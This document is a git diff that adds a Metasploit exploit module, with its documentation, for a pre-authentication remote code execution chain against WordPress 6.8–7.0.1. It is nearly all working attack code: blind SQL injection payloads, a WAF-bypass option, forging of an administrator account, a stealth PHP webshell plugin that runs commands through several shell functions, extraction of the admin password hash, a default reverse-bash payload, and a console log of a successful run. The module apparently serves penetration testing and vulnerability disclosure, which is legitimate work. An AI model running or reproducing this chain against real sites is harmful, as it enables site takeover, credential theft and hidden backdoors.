diff --git a/documentation/modules/exploit/multi/http/wp_wordpress_batch_rce.md b/documentation/modules/exploit/multi/http/wp_wordpress_batch_rce.md new file mode 100644 index 0000000000000..a0f1481837d42 --- /dev/null +++ b/documentation/modules/exploit/multi/http/wp_wordpress_batch_rce.md @@ -0,0 +1,167 @@ +## Vulnerable Application + +WordPress versions 6.8.0 through 6.8.5, 6.9.0 through 6.9.4, and 7.0.0 through 7.0.1 +are vulnerable to an unauthenticated Remote Code Execution chain combining two flaws: + +- **CVE-2026-63030**: REST API Batch Route Confusion — nested batch requests with an + invalid primer path (`http://:`) bypass authentication context, allowing unauthenticated + access to authenticated endpoints. +- **CVE-2026-60137**: Blind SQL Injection via the `author__not_in` / `author_exclude` + parameter in the REST API posts/categories endpoints. The parameter is cast to array + but individual elements are not sanitized before inclusion in the SQL WHERE clause. + +The full RCE chain: + +1. Route confusion via nested batch requests to bypass auth +2. Time-based blind SQLi to extract table prefix, admin ID, and credentials +3. UNION-based row forgery to seed oEmbed caches (turns read-only SQLi into DB writes) +4. Changeset elevation via re-entrant `parse_request()` to forge an administrator account +5. Authenticated plugin upload of a self-cleaning webshell +6. Command execution and cleanup + +Fixed in WordPress 6.8.6, 6.9.5, and 7.0.2. + +### Setup + +Docker lab (recommended for testing): + +``` +git clone https://github.com/M4xSec/wp2shell-lab.git +cd wp2shell-lab/lab +docker compose up -d --build +``` + +This starts WordPress 6.9.0 on `http://localhost:8888` with auto-install +(admin/Summer2026!). The setup script creates a published post (required as +oEmbed anchor) and sets `FS_METHOD=direct` for plugin uploads. + +Alternatively, install WordPress 6.9.0 manually on any LAMP/LEMP stack. + +## Verification Steps + +1. Start msfconsole +2. `use exploit/multi/http/wp_wordpress_batch_rce` +3. `set RHOSTS ` +4. `set RPORT ` +5. `set SSL false` (for local lab) +6. `set VHOST ` +7. `set TARGET 1` +8. `set PAYLOAD cmd/unix/generic` +9. `set CMD id` +10. `run` + +The module will: +- Fingerprint the WordPress version +- Confirm blind SQLi with timing differential +- Extract the database version as proof +- Run the full RCE chain (SQLi -> oEmbed -> changeset -> admin -> shell -> execute) + +## Options + +### TARGETURI +WordPress base path. Default: `/` + +### SLEEP_TIME +Number of seconds for the SLEEP() call in the blind SQLi timing oracle. Higher +values are more reliable on high-latency targets. Default: `3.0` + +### ORACLE_ROUNDS +Number of timing probes to take the median of, reducing false positives from +network jitter. Default: `3` + +### WAF_BYPASS +Enable Cloudflare WAF bypass. Uses colon primer (`:` instead of `http://:`), +`/wp-json/` permalink path instead of `?rest_route=`, JSON unicode escaping of +SQL keywords (`SLEEP` instead of `SLEEP`), and +Origin/Referer headers. Default: `false` + +### STEALTH_SHELL +Use a stealth webshell that authenticates via a custom HTTP header and receives +commands in POST body (never logged in access logs). When disabled, uses a +WordPress REST API route instead. Default: `true` + +## Scenarios + +### WordPress 6.9.0 on Docker (no WAF) + +``` +msf6 > use exploit/multi/http/wp_wordpress_batch_rce +msf6 exploit(multi/http/wp_wordpress_batch_rce) > set RHOSTS 127.0.0.1 +msf6 exploit(multi/http/wp_wordpress_batch_rce) > set RPORT 8888 +msf6 exploit(multi/http/wp_wordpress_batch_rce) > set SSL false +msf6 exploit(multi/http/wp_wordpress_batch_rce) > set VHOST localhost +msf6 exploit(multi/http/wp_wordpress_batch_rce) > set TARGET 1 +msf6 exploit(multi/http/wp_wordpress_batch_rce) > set PAYLOAD cmd/unix/generic +msf6 exploit(multi/http/wp_wordpress_batch_rce) > set CMD id +msf6 exploit(multi/http/wp_wordpress_batch_rce) > run + +[*] Running automatic check ("set AutoCheck false" to disable) +[*] WordPress version: 6.9.0 +[+] Version 6.9.0 is in vulnerable range +[+] Batch route confirmed (200) +[*] Confirming blind SQLi (time-based differential)... +[*] fast=0.045s slow=3.038s delta=2.993s +[+] Blind SQLi CONFIRMED (delta=2.993s) +[*] Extracting DB version as PoC... +[*] extracting: 11.4 +[*] extracting: 11.4.5-M +[*] extracting: 11.4.5-Maria +[*] extracting: 11.4.5-MariaDB- +[*] extracting: 11.4.5-MariaDB-ubu2 +[*] extracting: 11.4.5-MariaDB-ubu2404 +[+] DB version: 11.4.5-MariaDB-ubu2404 +[+] The target is vulnerable. WordPress 6.9.0 | DB: 11.4.5-MariaDB-ubu2404 | SQLi confirmed +[*] [1/6] Calibrating timing oracle... +[+] SQLi confirmed (fast=0.042s slow=3.035s) +[*] [2/6] Recon: extracting table prefix... +[*] extracting: wp_p +[*] extracting: wp_posts +[+] Table prefix: wp_ +[*] [2/6] Recon: locating administrator account... +[+] Admin ID: 1 +[*] [3/6] Finding published post for oEmbed anchor... +[+] Anchor post: http://localhost:8888/hello-world/ +[*] [3/6] Seeding oEmbed caches (SQLi -> DB writes)... +[*] [3/6] Recovering seeded oEmbed cache IDs... +[+] Cache IDs: [5, 6, 7] +[*] [4/6] Forging changeset elevation + creating administrator... +[+] Forged admin: w2s_a1b2c3:W2s! +[*] [5/6] Logging in and deploying webshell... +[*] Collecting login page cookies... +[*] POSTing login credentials... +[*] Login response: HTTP 302 +[+] Login verified — w2s_a1b2c3 is admin +[*] Stealth shell: POST body + header auth (X-WP-AbCd) +[*] Fetching plugin upload page for nonce... +[*] Got upload nonce: 1a2b3c4d5... +[*] Uploading webshell plugin... +[*] Upload response: HTTP 200 +[*] Activating plugin at: /wp-admin/plugins.php?action=activate&... +[*] Activation response: HTTP 302 +[+] Webshell deployed and activated +[*] [6/6] Executing payload... +[*] whoami response: HTTP 200 (42 bytes) +[+] RCE CONFIRMED — whoami: www-data +[*] Sending payload... +[+] Payload output: uid=33(www-data) gid=33(www-data) groups=33(www-data) +[*] Cleaning up webshell... +[+] Webshell removed +``` + +### WordPress 6.9.0 behind ModSecurity WAF (WAF bypass enabled) + +``` +msf6 exploit(multi/http/wp_wordpress_batch_rce) > set RPORT 9999 +msf6 exploit(multi/http/wp_wordpress_batch_rce) > set WAF_BYPASS true +msf6 exploit(multi/http/wp_wordpress_batch_rce) > run + +[*] Running automatic check ("set AutoCheck false" to disable) +[*] WordPress version: 6.9.0 +[+] Version 6.9.0 is in vulnerable range +[+] Batch route confirmed (200) +[*] Confirming blind SQLi (time-based differential)... +[*] fast=0.052s slow=3.047s delta=2.995s +[+] Blind SQLi CONFIRMED (delta=2.995s) +... +[+] RCE CONFIRMED — whoami: www-data +``` diff --git a/modules/exploits/multi/http/wp_wordpress_batch_rce.rb b/modules/exploits/multi/http/wp_wordpress_batch_rce.rb new file mode 100644 index 0000000000000..9934851923dd8 --- /dev/null +++ b/modules/exploits/multi/http/wp_wordpress_batch_rce.rb @@ -0,0 +1,852 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'WordPress CVE-2026-63030 Pre-Auth RCE (Batch Route Confusion + SQLi)', + 'Description' => %q{ + This module exploits CVE-2026-63030 (REST API Batch Route Confusion) chained with + CVE-2026-60137 (Blind SQL Injection via author__not_in) to achieve unauthenticated + Remote Code Execution on WordPress 6.8.0-6.8.5, 6.9.0-6.9.4, 7.0.0-7.0.1. + + The attack chain: + 1. Route confusion via nested batch requests with invalid primer path + 2. Blind time-based SQL injection through unsanitized author_exclude parameter + 3. UNION-based row forgery to seed oEmbed caches (read-only SQLi -> DB writes) + 4. Changeset elevation + re-entrant parse_request to forge an administrator + 5. Plugin upload and activation of a self-cleaning webshell + 6. Command execution via the deployed REST API route + + Includes Cloudflare WAF bypass via colon primer + JSON unicode escaping. + }, + 'Author' => [ + 'Venexy (Kamaldeep Rajal) ', + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2026-63030'], + ['CVE', '2026-60137'], + ['URL', 'https://blog.zsec.uk/wp2shell-code-trace-deep-dive/'], + ['URL', 'https://www.rapid7.com/blog/post/etr-cve-2026-63030-wp2shell-a-critical-remote-code-execution-vulnerability-in-wordpress-core/'], + ], + 'Platform' => %w[php unix linux], + 'Arch' => [ARCH_PHP, ARCH_CMD], + 'Targets' => [ + [ + 'PHP In-Memory', + { + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + } + ], + [ + 'Unix Command', + { + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash' + } + } + ], + ], + 'DefaultTarget' => 1, + 'Privileged' => false, + 'DisclosureDate' => '2026-06-15', + 'DefaultOptions' => { + 'WfsDelay' => 30, + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION], + } + ) + ) + + register_options([ + OptString.new('TARGETURI', [true, 'WordPress base path', '/']), + OptFloat.new('SLEEP_TIME', [true, 'SLEEP delay for blind SQLi oracle (seconds)', 3.0]), + OptInt.new('ORACLE_ROUNDS', [true, 'Median-of-N probes for SQLi confirmation', 3]), + OptBool.new('WAF_BYPASS', [true, 'Enable Cloudflare WAF bypass (colon primer + unicode escape)', false]), + OptBool.new('STEALTH_SHELL', [true, 'Use stealth direct-file shell (POST+header auth, no REST route)', true]), + ]) + end + + def base_uri + normalize_uri(target_uri.path) + end + + def batch_uri + if datastore['WAF_BYPASS'] + normalize_uri(base_uri, 'wp-json', 'batch', 'v1') + else + "#{base_uri}?rest_route=/batch/v1" + end + end + + def primer + datastore['WAF_BYPASS'] ? ':' : 'http://:' + end + + def unicode_escape_keywords(json_str) + keywords = %w[ + author_exclude author__not_in + SLEEP SELECT BENCHMARK IF UNION FROM WHERE SUBSTRING ASCII + CHAR_LENGTH CONCAT COALESCE CASE WHEN THEN ELSE ORDER LIMIT + CONCAT_WS OR AND NOT + ] + keywords.sort_by { |k| -k.length }.each do |kw| + json_str = json_str.gsub(/(? 'POST', + 'uri' => batch_uri, + 'data' => json_body, + 'ctype' => 'application/json', + 'headers' => headers, + }.merge(opts)) + end + + def sqli_envelope(inject_value) + if datastore['WAF_BYPASS'] + query_path = "/wp/v2/categories?author_exclude=#{inject_value}" + else + query_path = "/wp/v2/categories?author_exclude=#{Rex::Text.uri_encode(inject_value)}" + end + + { + 'requests' => [ + { 'method' => 'POST', 'path' => primer }, + { 'method' => 'POST', 'path' => '/wp/v2/posts', 'body' => { + 'requests' => [ + { 'method' => 'GET', 'path' => primer }, + { 'method' => 'GET', 'path' => query_path }, + { 'method' => 'GET', 'path' => '/wp/v2/posts' }, + ] + }}, + { 'method' => 'POST', 'path' => '/batch/v1' }, + ] + } + end + + def probe_sleep(seconds) + inject = "0) OR (SELECT 1 FROM (SELECT SLEEP(#{seconds}))x)-- -" + t0 = Time.now.to_f + send_batch(sqli_envelope(inject), 'timeout' => datastore['SLEEP_TIME'].to_i + 15) + Time.now.to_f - t0 + end + + def oracle(condition) + delay = datastore['SLEEP_TIME'] + inject = "0) OR (SELECT 1 FROM (SELECT IF((#{condition}),SLEEP(#{delay}),0))x)-- -" + t0 = Time.now.to_f + send_batch(sqli_envelope(inject), 'timeout' => delay.to_i + 15) + elapsed = Time.now.to_f - t0 + elapsed > (@baseline + delay * 0.6) + end + + def read_scalar(expr, maxlen = 64) + val = "COALESCE((#{expr}),'')" + lo, hi = 0, maxlen + while lo < hi + mid = (lo + hi + 1) / 2 + if oracle("CHAR_LENGTH(#{val})>=#{mid}") + lo = mid + else + hi = mid - 1 + end + end + length = lo + return '' if length == 0 + + out = '' + (1..length).each do |pos| + a, b = 32, 126 + while a < b + mid = (a + b + 1) / 2 + if oracle("ASCII(SUBSTRING(#{val},#{pos},1))>=#{mid}") + a = mid + else + b = mid - 1 + end + end + out << a.chr + print_status(" extracting: #{out}") if (pos % 4 == 0) || pos == length + end + out + end + + def read_int(query) + expr = "COALESCE((#{query}),0)" + lo, hi = 0, 1 + while oracle("#{expr} >= #{hi}") + lo = hi + hi *= 2 + end + while lo < hi + mid = (lo + hi + 1) / 2 + if oracle("#{expr} >= #{mid}") + lo = mid + else + hi = mid - 1 + end + end + lo + end + + def wp_version + res = send_request_cgi('method' => 'GET', 'uri' => base_uri) + if res + m = res.body.match(/name="generator" content="WordPress ([^"]+)"/) + return m[1] if m + + if [301, 302].include?(res.code) && res.headers['Location'] + loc = res.headers['Location'] + uri = loc.start_with?('/') ? loc : URI(loc).path + res2 = send_request_cgi('method' => 'GET', 'uri' => uri) + if res2 + m = res2.body.match(/name="generator" content="WordPress ([^"]+)"/) + return m[1] if m + end + end + end + + [normalize_uri(base_uri, 'wp-json'), normalize_uri(base_uri, 'feed')].each do |path| + res = send_request_cgi('method' => 'GET', 'uri' => path) + next unless res + m = res.body.match(/"generator"\s*:\s*"WordPress\/([^"]+)"/) || + res.body.match(/generator>https?:\/\/wordpress\.org\/\?v=([^<]+) 'POST', + 'uri' => batch_uri, + 'data' => '{"requests":[]}', + 'ctype' => 'application/json' + ) + unless res && [200, 207].include?(res.code) + return CheckCode::Detected("Version affected but batch route returned #{res&.code}") + end + print_good("Batch route confirmed (#{res.code})") + + print_status("Confirming blind SQLi (time-based differential)...") + rounds = datastore['ORACLE_ROUNDS'] + fast_times = (1..rounds).map { probe_sleep(0) } + slow_times = (1..rounds).map { probe_sleep(datastore['SLEEP_TIME']) } + + fast = fast_times.sort[rounds / 2] + slow = slow_times.sort[rounds / 2] + @baseline = fast + delta = slow - fast + + print_status(" fast=%.3fs slow=%.3fs delta=%.3fs" % [fast, slow, delta]) + + if delta < (datastore['SLEEP_TIME'] * 0.6) + return CheckCode::Detected("Version affected + batch route open, but SQLi timing not confirmed") + end + print_good("Blind SQLi CONFIRMED (delta=%.3fs)" % delta) + + print_status("Extracting DB version as PoC...") + db_ver = read_scalar('@@version', 40) + if db_ver.empty? + return CheckCode::Vulnerable("SQLi confirmed but version extraction empty") + end + print_good("DB version: #{db_ver}") + + CheckCode::Vulnerable("WordPress #{ver} | DB: #{db_ver} | SQLi confirmed") + end + + def wp_hash_check(password, stored_hash) + if stored_hash =~ /\A\$wp\$2[aby]\$/ + bcrypt_hash = stored_hash.sub(/\A\$wp\$/, '$').sub(/\A\$2y\$/, '$2a$') + begin + gem 'bcrypt' + require 'bcrypt' + return BCrypt::Password.new(bcrypt_hash) == password + rescue LoadError + vprint_warning('bcrypt gem not available for hash verification') + return false + rescue StandardError + return false + end + elsif stored_hash =~ /\A\$P\$(.)/ + count_log2 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.index($1) + return false unless count_log2 + iterations = 1 << count_log2 + salt = stored_hash[4, 8] + hash = Digest::MD5.digest(salt + password) + iterations.times { hash = Digest::MD5.digest(hash + password) } + itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' + encoded = '' + i = 0 + while i < 16 + value = hash[i].ord + encoded << itoa64[value & 0x3f] + if i + 1 < 16 + value |= hash[i + 1].ord << 8 + encoded << itoa64[(value >> 6) & 0x3f] + if i + 2 < 16 + value |= hash[i + 2].ord << 16 + encoded << itoa64[(value >> 12) & 0x3f] + encoded << itoa64[(value >> 18) & 0x3f] + else + encoded << itoa64[(value >> 12) & 0x3f] + end + end + i += 3 + end + return "$P$#{stored_hash[3]}#{salt}#{encoded}" == stored_hash + end + false + end + + def exploit + print_status("[1/6] Calibrating timing oracle...") + rounds = datastore['ORACLE_ROUNDS'] + fast_times = (1..rounds).map { probe_sleep(0) } + @baseline = fast_times.sort[rounds / 2] + + slow_times = (1..rounds).map { probe_sleep(datastore['SLEEP_TIME']) } + slow = slow_times.sort[rounds / 2] + delta = slow - @baseline + + unless delta >= (datastore['SLEEP_TIME'] * 0.6) + fail_with(Failure::NotVulnerable, "SQLi timing not confirmed (delta=%.3fs)" % delta) + end + print_good("SQLi confirmed (fast=%.3fs slow=%.3fs)" % [@baseline, slow]) + + print_status("[2/6] Recon: extracting table prefix...") + posts_table = read_scalar( + "SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES " \ + "WHERE TABLE_SCHEMA=DATABASE() " \ + "AND RIGHT(TABLE_NAME,6)=0x5f706f737473 " \ + "ORDER BY CHAR_LENGTH(TABLE_NAME),TABLE_NAME LIMIT 1", 64 + ) + unless posts_table =~ /\A[A-Za-z0-9_$]+\z/ + fail_with(Failure::UnexpectedReply, "Could not resolve posts table: #{posts_table.inspect}") + end + prefix = posts_table[0...-5] + print_good("Table prefix: #{prefix.empty? ? '(empty)' : prefix}") + + print_status("[2/6] Recon: locating administrator account...") + cap_key = hex_encode("#{prefix}capabilities") + cap_val = hex_encode('s:13:"administrator";b:1;') + admin_id = read_int( + "SELECT u.ID FROM `#{prefix}users` u JOIN `#{prefix}usermeta` m " \ + "ON m.user_id=u.ID WHERE m.meta_key=#{cap_key} " \ + "AND INSTR(m.meta_value,#{cap_val})>0 " \ + "ORDER BY u.ID LIMIT 1" + ) + if admin_id < 1 + fail_with(Failure::UnexpectedReply, "Could not find administrator account") + end + print_good("Admin ID: #{admin_id}") + + print_status("[3/6] Finding published post for oEmbed anchor...") + res = send_request_cgi( + 'method' => 'GET', + 'uri' => "#{base_uri}?rest_route=/wp/v2/posts&per_page=1&_fields=link" + ) + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "Could not fetch posts list") + end + posts = JSON.parse(res.body) rescue [] + if posts.empty? || !posts[0]['link'] + fail_with(Failure::UnexpectedReply, "No published post found for oEmbed anchor") + end + post_link = posts[0]['link'] + print_good("Anchor post: #{post_link}") + + token = Rex::Text.rand_text_hex(6) + embed_urls = (0..2).map { |i| "#{post_link}##{token}#{i}" } + + print_status("[3/6] Seeding oEmbed caches (SQLi -> DB writes)...") + seed_content = embed_urls.map { |u| "[embed width=\"500\" height=\"750\"]#{u}[/embed]" }.join + forge_rows([post_row(0, seed_content, 'seed', 'publish', 'seed', 0, 'post')]) + + print_status("[3/6] Recovering seeded oEmbed cache IDs...") + embed_attr = 'a:2:{s:5:"width";s:3:"500";s:6:"height";s:3:"750";}' + cache_ids = embed_urls.map do |u| + key = Digest::MD5.hexdigest(u + embed_attr) + pid = read_int( + "SELECT ID FROM `#{posts_table}` WHERE post_type=0x6f656d6265645f6361636865 " \ + "AND post_name=0x#{key.unpack1('H*')} ORDER BY ID DESC LIMIT 1" + ) + fail_with(Failure::UnexpectedReply, "oEmbed cache seeding failed") if pid < 1 + pid + end + print_good("Cache IDs: #{cache_ids.inspect}") + + username = "w2s_#{token}" + password = "W2s!#{Rex::Text.rand_text_alphanumeric(16)}" + email = "#{username}@wp2shell.local" + outer = 1800000000 + rand(100000000) + nav_id = outer + 1 + inner_id = outer + 2 + + changeset = { + "nav_menu_item[#{nav_id}]" => { + 'value' => { + 'object_id' => 0, 'object' => '', 'menu_item_parent' => 0, + 'position' => 0, 'type' => 'custom', 'title' => 'proof', + 'url' => 'https://github.com/dinosn/wp2shell-lab', + 'target' => '', 'attr_title' => '', 'description' => 'proof', + 'classes' => '', 'xfn' => '', 'status' => 'publish', + 'nav_menu_term_id' => 0, '_invalid' => false, + }, + 'type' => 'nav_menu_item', 'user_id' => admin_id, + } + }.to_json + + poisoned = [ + post_row(0, "[embed width=\"500\" height=\"750\"]#{embed_urls[1]}[/embed]", + 'trigger', 'publish', 'trigger', 0, 'post'), + post_row(cache_ids[0], changeset, 'changeset', 'future', + Rex::Text.rand_guid, outer, 'customize_changeset'), + post_row(outer, 'outer', 'outer', 'draft', 'outer', cache_ids[0], 'post'), + post_row(cache_ids[1], '', 'cache', 'publish', 'cache', cache_ids[0], 'post'), + post_row(nav_id, 'nav', 'nav', 'publish', 'nav', cache_ids[2], 'nav_menu_item'), + post_row(cache_ids[2], 'parse', 'parse', 'parse', 'parse', inner_id, 'request'), + post_row(inner_id, 'inner', 'inner', 'draft', 'inner', cache_ids[2], 'post'), + ] + + new_admin = { 'username' => username, 'email' => email, + 'password' => password, 'roles' => ['administrator'] } + + print_status("[4/6] Forging changeset elevation + creating administrator...") + forge_rows(poisoned, extra_requests: [ + { 'method' => 'POST', 'path' => '/wp/v2/users', 'body' => new_admin }, + { 'method' => 'POST', 'path' => '/wp/v2/users', 'body' => new_admin }, + ]) + print_good("Forged admin: #{username}:#{password}") + + print_status("[5/6] Logging in and deploying webshell...") + + print_status(" Collecting login page cookies...") + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(base_uri, 'wp-login.php'), + 'headers' => browser_headers, + 'keep_cookies' => true, + ) + if cloudflare_challenge?(res) + fail_with(Failure::Unreachable, "Cloudflare JavaScript challenge on wp-login.php") + end + + print_status(" POSTing login credentials...") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(base_uri, 'wp-login.php'), + 'headers' => browser_headers, + 'vars_post' => { + 'log' => username, 'pwd' => password, + 'wp-submit' => 'Log In', + 'redirect_to' => full_uri('wp-admin/'), + 'testcookie' => '1', + }, + 'keep_cookies' => true, + ) + unless res + fail_with(Failure::UnexpectedReply, "Login request returned nil") + end + if cloudflare_challenge?(res) + fail_with(Failure::Unreachable, "Cloudflare challenge on login POST") + end + print_status(" Login response: HTTP #{res.code}") + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(base_uri, 'wp-admin', 'users.php'), + 'headers' => browser_headers, + 'keep_cookies' => true, + ) + unless res && res.body.to_s.include?(username) + print_error("Admin login failed — changeset elevation may not have created user") + print_status("Falling back to credential extraction via SQLi...") + admin_login = read_scalar( + "SELECT user_login FROM `#{prefix}users` WHERE ID=#{admin_id}", 64) + admin_hash = read_scalar( + "SELECT user_pass FROM `#{prefix}users` WHERE ID=#{admin_id}", 72) + hc_mode = admin_hash.to_s.start_with?('$wp$2') ? '3200 (strip $wp$ prefix)' : '400' + print_good("=== EXTRACTED ADMIN CREDENTIALS (Pre-Auth) ===") + print_good(" Username: #{admin_login}") + print_good(" Hash: #{admin_hash}") + print_good(" Crack: hashcat -m #{hc_mode}") + print_good("=============================================") + fail_with(Failure::NoAccess, + "Changeset elevation failed on this WP version. " \ + "Admin credentials extracted for offline cracking.") + end + print_good("Login verified — #{username} is admin") + + slug = "wp-#{Rex::Text.rand_text_alpha_lower(4)}-#{Rex::Text.rand_text_hex(8)}" + marker = Rex::Text.rand_text_hex(16) + + if datastore['STEALTH_SHELL'] + auth_header = "X-WP-#{Rex::Text.rand_text_alpha(4)}" + auth_token = Rex::Text.rand_text_hex(32) + cmd_param = Rex::Text.rand_text_alpha_lower(1..3) + rm_param = Rex::Text.rand_text_alpha_lower(1..2) + + php_code = <<~PHP.gsub(/^ +/, '') + &1');if($r!==null){echo $r;$ok=true;}} + if(!$ok&&function_exists('exec')){$a=[];@exec($c.' 2>&1',$a);if($a){echo implode("\\n",$a);$ok=true;}} + if(!$ok&&function_exists('passthru')){ob_start();@passthru($c.' 2>&1');$r=ob_get_clean();if($r){echo $r;$ok=true;}} + if(!$ok&&function_exists('system')){ob_start();@system($c.' 2>&1');$r=ob_get_clean();if($r){echo $r;$ok=true;}} + if(!$ok&&function_exists('proc_open')){$d=[0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']];$p=@proc_open($c,$d,$pp);if(is_resource($p)){fclose($pp[0]);$r=stream_get_contents($pp[1]);fclose($pp[1]);fclose($pp[2]);proc_close($p);if($r){echo $r;$ok=true;}}} + if(!$ok&&function_exists('popen')){$h=@popen($c.' 2>&1','r');if($h){$r=fread($h,65536);pclose($h);if($r){echo $r;$ok=true;}}} + if(!$ok){echo 'BLOCKED:'.ini_get('disable_functions');} + exit; + PHP + + print_status(" Stealth shell: POST body + header auth (#{auth_header})") + else + route_path = Rex::Text.rand_text_hex(12) + cmd_param = 'c' + + php_code = <<~PHP.gsub(/^ +/, '') + 'POST', 'permission_callback' => '__return_true', + 'callback' => function ($r) { + if ($r->get_param('rm')) { + require_once ABSPATH.'wp-admin/includes/plugin.php'; + deactivate_plugins(plugin_basename(__FILE__), true); + @unlink(__FILE__); + return new WP_REST_Response(array( + 'marker' => '#{marker}', 'output' => 'REMOVED')); + } + ob_start(); passthru(base64_decode($r->get_param('c')).' 2>&1'); + $o = ob_get_clean(); + return new WP_REST_Response(array( + 'marker' => '#{marker}', 'output' => $o)); + }, + )); + }); + PHP + end + + zip = Rex::Zip::Archive.new + zip.add_file("#{slug}/#{slug}.php", php_code) + zip_data = zip.pack + + print_status(" Fetching plugin upload page for nonce...") + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(base_uri, 'wp-admin', 'plugin-install.php'), + 'vars_get' => { 'tab' => 'upload' }, + 'headers' => browser_headers, + 'keep_cookies' => true, + ) + if cloudflare_challenge?(res) + fail_with(Failure::Unreachable, "Cloudflare challenge on wp-admin/plugin-install.php") + end + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "Plugin upload page returned HTTP #{res&.code || 'nil'}") + end + nonce = res.body.match(/name="_wpnonce" value="([^"]+)"/) + unless nonce + fail_with(Failure::UnexpectedReply, "Could not extract upload nonce") + end + print_status(" Got upload nonce: #{nonce[1][0..8]}...") + + mime = Rex::MIME::Message.new + mime.add_part(nonce[1], nil, nil, 'form-data; name="_wpnonce"') + mime.add_part('/wp-admin/plugin-install.php?tab=upload', nil, nil, + 'form-data; name="_wp_http_referer"') + mime.add_part('Install Now', nil, nil, 'form-data; name="install-plugin-submit"') + mime.add_part(zip_data, 'application/zip', 'binary', + "form-data; name=\"pluginzip\"; filename=\"#{slug}.zip\"") + + print_status(" Uploading webshell plugin...") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(base_uri, 'wp-admin', 'update.php'), + 'vars_get' => { 'action' => 'upload-plugin' }, + 'data' => mime.to_s, + 'ctype' => "multipart/form-data; boundary=#{mime.bound}", + 'headers' => browser_headers, + 'keep_cookies' => true, + 'timeout' => 60, + ) + unless res + fail_with(Failure::UnexpectedReply, "Plugin upload returned nil") + end + print_status(" Upload response: HTTP #{res.code}") + + activate_match = res.body.match(/href="([^"]*plugins\.php\?action=activate[^"]*)"/) || + res.body.match(/href="([^"]*action=activate[^"]*)"/) + unless activate_match + fail_with(Failure::UnexpectedReply, "Plugin activation link not found (HTTP #{res.code})") + end + activate_url = Rex::Text.html_decode(activate_match[1]) + unless activate_url.start_with?('/') || activate_url.start_with?('http') + activate_url = "#{normalize_uri(base_uri, 'wp-admin')}/#{activate_url}" + end + print_status(" Activating plugin at: #{activate_url[0..80]}...") + res = send_request_cgi( + 'method' => 'GET', + 'uri' => activate_url, + 'headers' => browser_headers, + 'keep_cookies' => true, + ) + print_status(" Activation response: HTTP #{res&.code || 'nil'}") + print_good("Webshell deployed and activated") + + print_status("[6/6] Executing payload...") + + if datastore['STEALTH_SHELL'] + shell_uri = normalize_uri(base_uri, 'wp-content', 'plugins', slug, "#{slug}.php") + shell_headers = { auth_header => auth_token } + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => shell_uri, + 'headers' => shell_headers, + 'vars_post' => { cmd_param => Rex::Text.encode_base64('whoami') }, + ) + if res + print_status(" whoami response: HTTP #{res.code} (#{res.body.to_s.length} bytes)") + body = res.body.to_s + if body.start_with?("#{marker}:") + output = body.sub("#{marker}:", '') + print_good("RCE CONFIRMED — whoami: #{output.strip}") + else + print_warning(" Marker mismatch: #{body[0..200]}") + end + else + print_error(" whoami request returned nil") + end + + if target['Arch'] == ARCH_PHP + php_payload = payload.encoded + cmd = "php -r '#{php_payload.gsub("'", "\\\\'")}'" + else + cmd = payload.encoded + end + + print_status("Sending payload...") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => shell_uri, + 'headers' => shell_headers, + 'vars_post' => { cmd_param => Rex::Text.encode_base64(cmd) }, + 'timeout' => 30, + ) + if res && res.body.to_s.start_with?("#{marker}:") + output = res.body.to_s.sub("#{marker}:", '') + print_good("Payload output: #{output.strip}") unless output.strip.empty? + end + + print_status("Cleaning up webshell...") + send_request_cgi( + 'method' => 'POST', + 'uri' => shell_uri, + 'headers' => shell_headers, + 'vars_post' => { rm_param => '1' }, + ) + print_good("Webshell removed") + else + shell_uri = "#{base_uri}?rest_route=/wp2shell/v1/#{route_path}" + res = send_request_cgi( + 'method' => 'POST', + 'uri' => shell_uri, + 'data' => { 'c' => Rex::Text.encode_base64('whoami') }.to_json, + 'ctype' => 'application/json', + 'keep_cookies' => true, + ) + if res && res.code == 200 + result = JSON.parse(res.body) rescue {} + if result['marker'] == marker + print_good("RCE CONFIRMED — whoami: #{result['output'].strip}") + end + end + + if target['Arch'] == ARCH_PHP + php_payload = payload.encoded + cmd = "php -r '#{php_payload.gsub("'", "\\\\'")}'" + else + cmd = payload.encoded + end + + print_status("Sending payload...") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => shell_uri, + 'data' => { 'c' => Rex::Text.encode_base64(cmd) }.to_json, + 'ctype' => 'application/json', + 'keep_cookies' => true, + 'timeout' => 30, + ) + if res && res.code == 200 + result = JSON.parse(res.body) rescue {} + if result['marker'] == marker && !result['output'].to_s.empty? + print_good("Payload output: #{result['output'].strip}") + end + end + + print_status("Cleaning up webshell...") + send_request_cgi( + 'method' => 'POST', + 'uri' => shell_uri, + 'data' => { 'rm' => '1' }.to_json, + 'ctype' => 'application/json', + 'keep_cookies' => true, + ) + print_good("Webshell removed") + end + end + + private + + def target_host + datastore['VHOST'].to_s.empty? ? datastore['RHOST'] : datastore['VHOST'] + end + + def full_uri(path = '') + proto = datastore['SSL'] ? 'https' : 'http' + port_str = '' + if (datastore['SSL'] && datastore['RPORT'] != 443) || + (!datastore['SSL'] && datastore['RPORT'] != 80) + port_str = ":#{datastore['RPORT']}" + end + 